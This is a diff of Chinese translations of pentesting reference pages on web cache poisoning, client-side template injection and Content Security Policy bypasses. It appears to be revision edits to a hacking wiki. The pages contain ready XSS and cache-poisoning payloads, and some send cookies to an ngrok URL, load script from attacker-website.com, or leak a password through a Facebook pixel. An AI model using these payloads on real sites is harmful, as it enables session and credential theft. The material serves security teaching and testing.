响应中的头部 **`X-Cache`** 可能非常有用，因为当请求未被缓存时，它的值可能是 **`miss`**，而当被缓存时，它的值是 **`hit`**。\
|
||||
头部 **`Cache-Control`** 也很有趣，可以知道资源是否被缓存，以及下次资源将何时再次被缓存：`Cache-Control: public, max-age=1800`
|
||||
|
||||
另一个有趣的头部是 **`Vary`**。这个头部通常用于**指示额外的头部**，这些头部被视为**缓存键的一部分**，即使它们通常没有键。因此，如果用户知道他所针对的受害者的 `User-Agent`，他可以为使用该特定 `User-Agent` 的用户毒化缓存。
|
||||
|
||||
与缓存相关的另一个头部是 **`Age`**。它定义了对象在代理缓存中存在的时间（以秒为单位）。
|
||||
|
||||
在缓存请求时，要**小心使用的头部**，因为其中一些可能会被**意外使用**为**键**，而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
|
||||
在缓存请求时，要**小心使用的头部**，因为其中一些可能会被**意外使用**为**键**，而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒，以检查其是否有效。
|
||||
|
||||
## 利用示例
|
||||
|
||||
### 最简单的示例
|
||||
|
||||
像 `X-Forwarded-For` 这样的头部在响应中未经过清理地被反映。\
|
||||
像 `X-Forwarded-For` 这样的头部在响应中未经过清洗地被反映。\
|
||||
你可以发送一个基本的 XSS 负载并毒化缓存，这样每个访问该页面的人都会受到 XSS 攻击：
|
||||
```markup
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_注意，这将使对 `/en?region=uk` 的请求中毒，而不是 `/en`_
|
||||
|
||||
### 缓存中毒导致拒绝服务
|
||||
### 缓存中毒以进行 DoS
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
@ -79,8 +79,8 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### 使用网络缓存中毒来利用 cookie 处理漏洞
|
||||
|
||||
Cookies 也可能在页面的响应中被反射。如果你能利用它导致 XSS，例如，你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
|
||||
```markup
|
||||
Cookies 也可能在页面的响应中被反射。如果你能利用它造成 XSS，例如，你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个 URL 如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 窃取 OpenAI API 密钥，因为任何匹配 `/share/*` 的内容将被缓存，而 Cloudflare 不会对 URL 进行规范化，这在请求到达 web 服务器时完成。
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥，因为任何匹配 `/share/*` 的内容将被缓存，而 Cloudflare 不会对 URL 进行规范化，这在请求到达 web 服务器时完成。
|
||||
|
||||
这在以下内容中也有更好的解释：
|
||||
|
||||
@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### 使用多个头部利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
有时您需要 **利用多个无键输入** 来滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
```markup
|
||||
有时您需要 **利用多个无键输入** 才能滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
|
||||
### 利用有限的 `Vary` 头
|
||||
|
||||
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**，但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么，你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存：
|
||||
```markup
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
@ -160,11 +160,11 @@ ATS 在 URL 中转发了片段而没有去掉它，并且仅使用主机、路
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie，因此只能攻击未认证用户。
|
||||
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie，因此只能攻击未授权用户。
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此，可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持方法 `PURGE`。
|
||||
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此，可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法。
|
||||
|
||||
### Rack 中间件 (Ruby on Rails)
|
||||
|
||||
@ -174,9 +174,9 @@ GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **
|
||||
|
||||
Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应，但这种行为可能仍然存在于其他代理服务中。
|
||||
|
||||
### 注入有键参数
|
||||
### 注入键参数
|
||||
|
||||
缓存通常在缓存键中包含特定的 GET 参数。例如，Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而，如果发送了 URL 编码版本的参数（例如 `siz%65`）并且值错误，缓存键将使用正确的 `size` 参数构建。然而，后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存忽略它，但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
|
||||
缓存通常在缓存键中包含特定的 GET 参数。例如，Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而，如果发送了 URL 编码版本的参数（例如 `siz%65`）并且值错误，缓存键将使用正确的 `size` 参数构建。然而，后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略它，但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
|
||||
|
||||
### 用户代理规则
|
||||
|
||||
@ -184,7 +184,7 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
||||
|
||||
### 非法头字段
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头应理想情况下触发 400 错误请求响应。在实践中，服务器并不总是遵循此标准。一个显著的例子是 Akamai，它转发包含无效字符的头，并缓存任何 400 错误，只要 `cache-control` 头不存在。发现了一种可利用的模式，发送包含非法字符（如 `\`）的头会导致可缓存的 400 错误请求。
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头应理想地触发 400 错误请求响应。在实践中，服务器并不总是遵循此标准。一个显著的例子是 Akamai，它转发包含无效字符的头，并缓存任何 400 错误，只要 `cache-control` 头不存在。发现了一种可利用的模式，发送包含非法字符（如 `\`）的头会导致可缓存的 400 错误请求。
|
||||
|
||||
### 查找新头
|
||||
|
||||
@ -206,10 +206,10 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
||||
- _使用不太常见的扩展名，如_ `.avif`
|
||||
|
||||
另一个非常清晰的例子可以在这篇文章中找到：[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
在这个例子中，解释了如果您加载一个不存在的页面，如 _http://www.example.com/home.php/non-existent.css_，将返回 _http://www.example.com/home.php_ （**包含用户的敏感信息**）的内容，并且缓存服务器将保存结果。\
|
||||
在这个例子中，解释了如果您加载一个不存在的页面，如 _http://www.example.com/home.php/non-existent.css_，将返回 _http://www.example.com/home.php_ (**带有用户的敏感信息**) 的内容，并且缓存服务器将保存结果。\
|
||||
然后，**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
|
||||
|
||||
请注意，**缓存代理** 应该被 **配置** 为 **缓存** 文件 **基于** 文件的 **扩展名**（_.css_），而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中，将具有 `text/html` 内容类型，而不是 `text/css` MIME 类型（这是 _.css_ 文件的预期类型）。
|
||||
请注意，**缓存代理** 应该 **配置** 为 **缓存** 文件 **基于** 文件的 **扩展名** (_.css_) 而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中，将具有 `text/html` 内容类型，而不是 `text/css` MIME 类型（这是 _.css_ 文件的预期类型）。
|
||||
|
||||
在这里了解如何执行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
它类似于 [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)，但在 **client** 端。**SSTI** 允许您在远程服务器上 **execute code**，而 **CSTI** 可能允许您在受害者的浏览器中 **execute arbitrary JavaScript** 代码。
|
||||
它类似于 [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)，但在 **client** 中。**SSTI** 允许您在远程服务器上 **execute code**，而 **CSTI** 可能允许您在受害者的浏览器中 **execute arbitrary JavaScript** 代码。
|
||||
|
||||
**Testing** 这种漏洞与 **SSTI** 的情况非常 **similar**，解释器期望 **a template** 并将其执行。例如，使用像 `{{ 7-7 }}` 的有效载荷，如果应用程序 **vulnerable**，您将看到 `0`，如果没有，您将看到原始内容：`{{ 7-7 }}`
|
||||
|
||||
@ -21,17 +21,17 @@ AngularJS 是一个广泛使用的 JavaScript 框架，通过称为指令的属
|
||||
<!-- Google Research - AngularJS -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
您可以在 **AngularJS** 中找到该漏洞的一个非常**基本的在线示例**，链接为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
您可以在 **AngularJS** 的 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) 中找到一个非常 **基本的在线示例**。
|
||||
|
||||
> [!CAUTION] > [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)，因此从这个版本开始，像 `{{constructor.constructor('alert(1)')()}}` 或 `<input ng-focus=$event.view.alert('XSS')>` 的有效载荷应该可以工作。
|
||||
|
||||
## VueJS
|
||||
|
||||
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个**易受攻击的 Vue** 实现\
|
||||
有效载荷: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个 **易受攻击的 Vue** 实现。\
|
||||
有效载荷：[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
以及该易受攻击示例的**源代码**在这里: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
易受攻击示例的 **源代码** 在这里：[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```html
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
|
||||
@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
|
||||
CSP 可以通过以下头部进行强制执行或监控：
|
||||
|
||||
- `Content-Security-Policy`: 强制执行 CSP；浏览器阻止任何违规行为。
|
||||
- `Content-Security-Policy`: 强制执行 CSP；浏览器会阻止任何违规行为。
|
||||
- `Content-Security-Policy-Report-Only`: 用于监控；报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
|
||||
|
||||
### Defining Resources
|
||||
@ -70,7 +70,7 @@ object-src 'none';
|
||||
- `'unsafe-hashes'`: 启用特定的内联事件处理程序。
|
||||
- `'unsafe-inline'`: 允许使用内联资源，如内联`<script>`或`<style>`，出于安全原因不推荐使用。
|
||||
- `'nonce'`: 使用加密nonce（一次性使用的数字）对特定内联脚本的白名单。
|
||||
- 如果您有JS限制执行，可以通过`doc.defaultView.top.document.querySelector("[nonce]")`获取页面内使用的nonce，然后重用它加载恶意脚本（如果使用了strict-dynamic，任何允许的来源都可以加载新来源，因此这不是必需的），如在：
|
||||
- 如果您有JS限制执行，可以使用`doc.defaultView.top.document.querySelector("[nonce]")`在页面内获取使用的nonce，然后重用它加载恶意脚本（如果使用了strict-dynamic，任何允许的来源都可以加载新来源，因此这不是必需的），如在：
|
||||
|
||||
<details>
|
||||
|
||||
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: 允许特定 sha256 哈希的脚本。
|
||||
- `'strict-dynamic'`: 如果通过 nonce 或哈希被列入白名单，则允许从任何来源加载脚本。
|
||||
- `'host'`: 指定特定主机，例如 `example.com`。
|
||||
- `https:`: 限制 URL 仅使用 HTTPS。
|
||||
- `blob:`: 允许从 Blob URL 加载资源（例如，通过 JavaScript 创建的 Blob URL）。
|
||||
- `filesystem:`: 允许从文件系统加载资源。
|
||||
- `'report-sample'`: 在违规报告中包含违规代码的示例（对调试有用）。
|
||||
- `'strict-origin'`: 类似于 'self'，但确保源的协议安全级别与文档匹配（只有安全源可以从安全源加载资源）。
|
||||
- `'strict-origin-when-cross-origin'`: 在进行同源请求时发送完整 URL，但在跨源请求时仅发送源。
|
||||
- `'unsafe-allow-redirects'`: 允许加载会立即重定向到另一个资源的资源。不推荐使用，因为这会削弱安全性。
|
||||
- `'sha256-<hash>'`：允许特定 sha256 哈希的脚本。
|
||||
- `'strict-dynamic'`：如果通过 nonce 或哈希被列入白名单，则允许从任何来源加载脚本。
|
||||
- `'host'`：指定特定主机，例如 `example.com`。
|
||||
- `https:`：限制 URL 仅使用 HTTPS。
|
||||
- `blob:`：允许从 Blob URL 加载资源（例如，通过 JavaScript 创建的 Blob URL）。
|
||||
- `filesystem:`：允许从文件系统加载资源。
|
||||
- `'report-sample'`：在违规报告中包含违规代码的示例（对调试有用）。
|
||||
- `'strict-origin'`：类似于 'self'，但确保源的协议安全级别与文档匹配（只有安全源才能从安全源加载资源）。
|
||||
- `'strict-origin-when-cross-origin'`：在进行同源请求时发送完整 URL，但在跨源请求时仅发送源。
|
||||
- `'unsafe-allow-redirects'`：允许加载会立即重定向到另一个资源的资源。不推荐使用，因为这会削弱安全性。
|
||||
|
||||
## 不安全的 CSP 规则
|
||||
|
||||
@ -126,14 +126,14 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
如果你能以某种方式使一个**被允许的 JS 代码创建一个新的 script 标签**在 DOM 中，并且是由一个被允许的脚本创建的，那么**新的 script 标签将被允许执行**。
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中，并且因为是允许的脚本在创建它，**新的脚本标签将被允许执行**。
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
有效载荷：
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
@ -144,7 +144,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
有效的有效载荷：
|
||||
```markup
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
@ -156,12 +156,12 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
如果您可以上传一个 JS 文件，您可以绕过这个 CSP：
|
||||
|
||||
工作有效载荷：
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
然而，服务器**正在验证上传的文件**，只会允许您**上传特定类型的文件**。
|
||||
然而，服务器**正在验证上传的文件**，并且只允许您**上传特定类型的文件**。
|
||||
|
||||
此外，即使您能够使用服务器接受的扩展名（如：_script.png_）在文件中上传**JS代码**，这也不够，因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**，而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如，从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名，因此它不会以**MIME类型如audio/***提供它。
|
||||
此外，即使您能够使用服务器接受的扩展名（如：_script.png_）在文件中上传**JS代码**，这也不够，因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**，而像Chrome这样的浏览器将**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如，从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名，因此它不会以**MIME类型如audio/**提供它。
|
||||
|
||||
从这里开始，如果您发现了XSS和文件上传，并且您设法找到一个**被误解的扩展名**，您可以尝试上传一个具有该扩展名和脚本内容的文件。或者，如果服务器正在检查上传文件的正确格式，可以创建一个多重格式文件（[这里有一些多重格式示例](https://github.com/Polydet/polyglot-database)）。
|
||||
|
||||
@ -172,7 +172,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
### 第三方端点 + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> 对于以下某些有效负载，**`unsafe-eval`甚至不需要**。
|
||||
> 对于以下某些有效负载**`unsafe-eval`甚至不需要**。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
|
||||
> [!NOTE]
|
||||
> 该帖子显示您可以 **加载** 来自 `cdn.cloudflare.com`（或任何其他允许的 JS 库库）的所有 **库**，执行每个库中添加的所有函数，并检查 **哪些库中的哪些函数返回 `window` 对象**。
|
||||
```markup
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
<div ng-app ng-csp>
|
||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### 利用 www.google.com 进行开放重定向
|
||||
|
||||
以下 URL 重定向到 example.com (来自 [这里](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
以下 URL 重定向到 example.com (来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
@ -274,8 +274,8 @@ https://www.google.com/amp/s/example.com/
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
像这样的场景，其中 `script-src` 设置为 `self` 和一个特定的白名单域，可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法，这使得攻击者能够执行 XSS，工作有效载荷：
|
||||
```markup
|
||||
像这样的场景，其中 `script-src` 设置为 `self` 和一个特定的白名单域，可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法，这使得攻击者能够执行 XSS，工作负载：
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
@ -290,7 +290,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
|
||||
### 第三方滥用
|
||||
|
||||
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述，许多第三方域名可能在CSP中被允许，可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是：
|
||||
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述，有许多第三方域名可能在CSP中被允许，可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是：
|
||||
|
||||
| 实体 | 允许的域名 | 能力 |
|
||||
| ----------------- | ------------------------------------------ | ------------ |
|
||||
@ -313,14 +313,14 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
您应该能够提取数据，类似于使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一直以来的做法。在这种情况下，您可以遵循以下一般步骤：
|
||||
您应该能够提取数据，类似于使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一直以来的做法。在这种情况下，您遵循以下一般步骤：
|
||||
|
||||
1. 在此处创建一个 Facebook 开发者帐户。
|
||||
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
|
||||
3. 转到“设置 -> 基本”，获取您的“应用 ID”。
|
||||
3. 转到“设置 -> 基本”并获取您的“应用 ID”。
|
||||
4. 在您想要提取数据的目标网站中，您可以通过直接使用 Facebook SDK 小工具“fbq”通过“customEvent”和数据负载来提取数据。
|
||||
5. 转到您的应用“事件管理器”，选择您创建的应用（请注意，事件管理器可以在类似于此的 URL 中找到：https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events）。
|
||||
6. 选择“测试事件”选项卡，以查看“您的”网站发送的事件。
|
||||
5. 转到您的应用“事件管理器”，并选择您创建的应用（请注意，事件管理器可以在类似于此的 URL 中找到：https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events）。
|
||||
6. 选择“测试事件”选项卡以查看“您的”网站发送的事件。
|
||||
|
||||
然后，在受害者一侧，您执行以下代码以初始化 Facebook 跟踪像素，指向攻击者的 Facebook 开发者帐户应用 ID，并发出如下自定义事件：
|
||||
```JavaScript
|
||||
@ -362,7 +362,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
如果缺少 **base-uri** 指令，您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
此外，如果 **页面使用相对路径加载脚本**（如 `<script src="/js/app.js">`）并使用 **Nonce**，您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本，从而实现 XSS。\
|
||||
如果易受攻击的页面是通过 **httpS** 加载的，请在 base 中使用 httpS URL。
|
||||
如果易受攻击的页面使用 **httpS** 加载，请在 base 中使用 httpS URL。
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
@ -427,7 +427,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
|
||||
因此，最佳解决方案是确保网站没有任何开放重定向漏洞，并且 CSP 规则中没有可以被利用的域。
|
||||
|
||||
### 通过悬挂标记绕过 CSP
|
||||
### 使用悬挂标记绕过 CSP
|
||||
|
||||
阅读 [how here](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
@ -478,9 +478,9 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||||
|
||||
注意缺少指令 `'unsafe-inline'`\
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容，但如果你能**控制页面加载所需的时间**，你可以提取所需的信息。
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容，但如果你能**控制页面加载所需的时间**，你就可以提取所需的信息。
|
||||
|
||||
这次将会提取一个**标志**，每当通过 SQLi **正确猜测一个字符**时，**响应**由于 sleep 函数会**花费更多时间**。然后，你将能够提取标志:
|
||||
这次将会提取一个**标志**，每当通过 SQLi **正确猜测一个字符**时，**响应**会因为 sleep 函数而**花费更多时间**。然后，你将能够提取标志:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### 通过书签小程序
|
||||
|
||||
此攻击将涉及一些社会工程学，攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码，当被拖放或点击时，将在当前网页窗口的上下文中执行，**绕过CSP并允许窃取敏感信息**，例如cookies或tokens。
|
||||
此攻击将涉及一些社会工程学，攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码，当拖放或点击时，将在当前网页窗口的上下文中执行，**绕过CSP并允许窃取敏感信息**，例如cookies或tokens。
|
||||
|
||||
有关更多信息，请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||
|
||||
### 通过限制CSP绕过CSP
|
||||
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中，通过在允许的iframe内注入更严格的CSP来绕过CSP，该CSP不允许加载特定的JS文件，然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本以加载任意脚本**。
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中，CSP通过在允许的iframe内注入更严格的CSP来绕过，该CSP不允许加载特定的JS文件，然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
|
||||
|
||||
您可以使用**`csp`**属性**限制iframe的CSP**：
|
||||
```html
|
||||
@ -585,7 +585,7 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
有趣的是，像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时表现不同，可能导致由于未定义行为而泄露敏感信息。
|
||||
|
||||
另一种技术涉及利用CSP本身推断秘密子域。该方法依赖于二分搜索算法，并调整CSP以包含故意被阻止的特定域。例如，如果秘密子域由未知字符组成，可以通过修改CSP指令来阻止或允许这些子域，逐步测试不同的子域。以下是一个片段，展示了如何设置CSP以促进此方法：
|
||||
另一种技术涉及利用CSP本身推断秘密子域名。该方法依赖于二分搜索算法，并调整CSP以包含故意被阻止的特定域名。例如，如果秘密子域名由未知字符组成，可以通过修改CSP指令来阻止或允许这些子域名，逐步测试不同的子域名。以下是一个片段，展示了如何设置CSP以促进此方法：
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
